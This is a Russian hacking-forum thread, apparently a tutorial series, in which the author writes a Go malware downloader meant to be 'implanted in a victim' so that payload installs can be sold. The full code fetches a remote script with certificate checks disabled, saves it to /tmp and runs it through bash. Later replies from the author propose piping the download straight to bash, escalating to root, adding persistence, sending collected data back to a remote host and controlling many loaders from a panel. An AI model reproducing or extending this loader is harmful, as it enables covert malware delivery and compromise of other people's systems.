Изучаем Go. На примере утилит удалённого управления. Часть 1.

dark2strike

Green Team
16.04.2017
43
42
BIT
0
Решил попробовать написать простейшие утилиты на одном из самых быстрых и современных языков программирования. Опережая всякие нападки гуру-хэйтеров замечу, что на Go я пишу впервые и данную задачку взял исключительно для того что бы посмотреть на язык.

Итак, самая простая программка, нужная в хак индустрии, это загрузчик, который можно различными способами внедрить жертве, а затем продать загрузку нужной программки любому нуждающемуся. Но мы постараемся(в следующих частях) так же написать какую-то полезную нагрузку, которую сможем загружать на втором этапе.

Теперь немного об архитектуре. Поскольку заранее не известно что потребуется загружать жертве, приходится придумывать что-то более универсальное. Думаю, что наиболее универсальным будет механизм загрузки bash скрипта, в котором уже можно загружать и запускать любой другой софт или скрипты. Напоминаю, что мы просто тренируемся, а в реальной жизни излишне делать промежуточное звено в виде bash скрипта, проще сразу загружать и запускать бинарный код. Нам же это промежуточное звено позволит подняться одним уровнем абстракции выше и снизить тем самым порог входа и понимания происходящего.

Стандартная структура кода на языке Го выглядит примерно так:
C-подобный:
package main

import (
    "any/packages"
)
    
func main(){
    pass
}

То есть сначала мы объявляем к какому пакету относится наш код. В данном случае это просто main. Затем указываем все модули, которые нужно импортировать для доступа к дополнительным возможностям. А весь исполняемый код следует разместить внутри одной или нескольких функций.

Итак, нам пондобится следующий набор модулей:
C-подобный:
import (
    "fmt"
    "bytes"
    "net/http"
    "io/ioutil"
    "crypto/tls"
    "os/exec"
)

Первая функция будет простым обработчиком ошибок:
C-подобный:
func check(e error){
  if e != nil {
    fmt.Println(e)
  }
}

То есть, когда аргумент функции(переменная с кодом ошибки, переданная в функцию) содержит хоть что-то, вывести это что-то на экран.

Вторая функция будет запускать загруженный скрипт:
Код:
func run_it(script_path string) {
  cmd := exec.Command("/bin/bash", script_path)
  var out bytes.Buffer
  cmd.Stdout = &out
  err := cmd.Run()
  check(err)
  fmt.Printf("Result: %q\n", out.String())
}
На вход принимаем строку пути до скрипта. Собираем команду для запуска из пути до бинарника баша и аргумента в виде пути до скрипта. Указываем куда направлять аутпут выполненной команды и пытаемся запустить каоманду. В конце проверяем ошибку нашей кастомной функцией и печатаем на экран аутпут выполнения команды.

Почти всё готово, осталось написать лишь основную функцию main.
C-подобный:
func main(){
  tr := &http.Transport{
    DisableCompression: false,
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
  }
  client := &http.Client{Transport: tr}
  resp, err := client.Get("https://upload.go/run_it.jpg")
  check(err)

  defer resp.Body.Close()
  body, err := ioutil.ReadAll(resp.Body)
  check(err)

  ferr := ioutil.WriteFile("/tmp/dat1", body, 0644)
  check(ferr)

  run_it("/tmp/dat1")
}
Это основная функция, которая запускается сразу после начала исполнения кода. Она не имеет аргументов. По рекомендации из документации для более точного контроля http сессии, TLS-шифрования или компрессии траффика нам нужно использовать транспорт, где мы сообщаем, что хотим игнорировать все ошибки SSL сертификатов(для тестов используется самоподписанный сертификат). Вообще шифрованный вариант протокола HTTP современный стандарт дефакто и нужно уметь с ним работать, даже если ты сам или какой-то админ забыл продлить сертификат для своего домена.
После настройки параметров транспорта создадим клиент на основе этого транспорта и сделаем GET запрос на адрес upload.go(прописал для тестов в /etc/hosts свой локалхост с этим доменом "127.0.0.1 upload.go" и чуть ранее поднял веб-сервер, самый простой способ сделать это питоновским ванлйнером "sudo python3 -m http.server 80" который будет просто отдавать файлы из каталога в котором он запущен).
Проверяем на ошибки, закрываем соединение с веб-сервером и считываем тело ответа веб-сервера в переменную. Затем сохраняем скачанные данные в файл, а в самом конце просто запускем сохранённый скрипт нашей кастомной функцией запуска.

По идее сейчас нам стоит получить максимум информации о системе, в которой мы оказались. В связи с этим первый вопрос к аудитории, какую именно информацию стоило бы собрать в первую очередь?
Я пока придумал лишь такой перечень:
- Внешний IP
- Внутренний IP
- Железо (Проц, память, диски)
- Уровень загруженности системы (Типа забытая богом система или активно используемый сервер)

Так же следует продумать средства автозапуска нашего аплоадера, а так же способ проверки того, что мы уже загрузили необходимый код на систему и новый пока загружать пытаться не стоит. Ещё интересно подумать над панелью управления аплоадерами, ведь их будет много.

На основе ваших комментариев в следующей статье родим скрипт, который будет собирать всю необходимую инфу, а так же загружать и запускать полезную нагрузку.

Разумеется, вместо запуска баш скрипта, можно коротким движением рук модифицировать скрипт для скачивания кода на го, компиляции его и запуска. А можно скачивать и запускать уже скомилированный бинарник. Тут нас ничего не ограничивает.
 
Последнее редактирование модератором:

dark2strike

Green Team
16.04.2017
43
42
BIT
0
для этого ведь на машине должен быть установлен и настроен Го компилятор с нужными либами, верно?
Для того что бы из этого кода собрать динарь, да, разумеется нужен компилятор, который ставится одной простой командой в той же убунте apt install golang
После установки надо перейти в каталог с проектом и набрать там go build source_file
 

dark2strike

Green Team
16.04.2017
43
42
BIT
0
В соседних ветках можно почерпнуть немного вдохновения и идей для продолжения. Например можно запускать скачиваемый скрипт без сохранения на диск, просто перенаправив вывод кода в пайп и на баш ( ... | bash ). Так же можно запускать сканер уязвимостей установленных в системе пакетов с целью эскалировать привилегии на хосте до root.
 

mrOkey

Well-known member
14.11.2017
967
975
BIT
0
Почему вы не пишите сульфе или мне о содержании статьи? Ну это ж детский сад.
- абстракций тут у тебя нет, все вполне конкретно и захардкоженно и это плохо
- зачем загрузчику вывод в консоль системы на которой он запущен?
- как пользователь загрузчика узнаёт что файл загрузился? Где фидбек иными словами
- на крайняк зачем в мэйн запихнуто создание httpclienta? Правильнее написать было бы функцию для вызова его и возврата результата.

в общем это слабо
 

dark2strike

Green Team
16.04.2017
43
42
BIT
0
Почему вы не пишите сульфе или мне о содержании статьи? Ну это ж детский сад.
- абстракций тут у тебя нет, все вполне конкретно и захардкоженно и это плохо
- зачем загрузчику вывод в консоль системы на которой он запущен?
- как пользователь загрузчика узнаёт что файл загрузился? Где фидбек иными словами
- на крайняк зачем в мэйн запихнуто создание httpclienta? Правильнее написать было бы функцию для вызова его и возврата результата.

в общем это слабо
А я и не знал, что кому-то надо что-то ещё писать...

Абстракция это уровень языка Go по сравнению с машинными кодами, или ассемблером, которые расположены на более низком уровне абстракции. Далее мы абстрагируемся от загрузчика и пишем простой скрипт сбора данных на баше(ещё один уровень абстракции от вызовов системы, переходящий на уровень работы с утилитами GNU). То есть мы не пишем сборщик данных о системе на низком уровне С или асма. И я вроде бы пояснил этот момент в статье, сказав, что для простоты и наглядности для начала будем запускать баш(это кстати, по идее будет вторая статья, где я хотел доработать код на Го и показать сборщик данных на баше)

По поводу вывода в консоль, это ведь самое начало, что бы новичёк(а именно на него нацелена статья), без особых впоросов мог увидеть результат и продолжить познание, модифицируя код и тут же наблюдая изменения. Насколько я понимаю, статья и не должна сразу выдать идеальный результат, что бы любой кидди смог положить пентагон. Здесь мы занимаемся исследованиями информационных технологий и экспериментами в песочницах. Если бы я хотел выдать готовый продукт, разумеется он делал бы только то что нужно и только оптимальным способом, но моя цель самообучение, и если делать это в виде статьи, приходится обращать внимание и изучать те моменты, которые бы упустил, делая это просто для себя.

Про фидбэк я пока лишь только думаю. По идее загруженный скрипт должен заливать результаты своей работы на удалённый хост, что и будет сигнализировать о успешности. Так же периодические гет запросы к серверу со скриптом будут свидетельствовать о том, что наш автономный аплоадер оказался на системе и успешно там живёт.

Что касается выноса в функции логических кусков, можно бесконечно дробить код, но я предпочитаю выделять его в функции только когда объём кода превышает разумные пределы или когда мне надо будет использовать его более одного раза. И да, я не программист, вроде писал об этом. Прогинг для меня только хобби и это означает, что у меня нет академического подхода.

Почему нет истерики на тему того, что никак не рассмотрена тема антидетекта и вот этого всего? Опережая этот вопрос скажу, что это тема другой статьи, которая возможно родится после окончания данного цикла, как логичное развитие темы.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!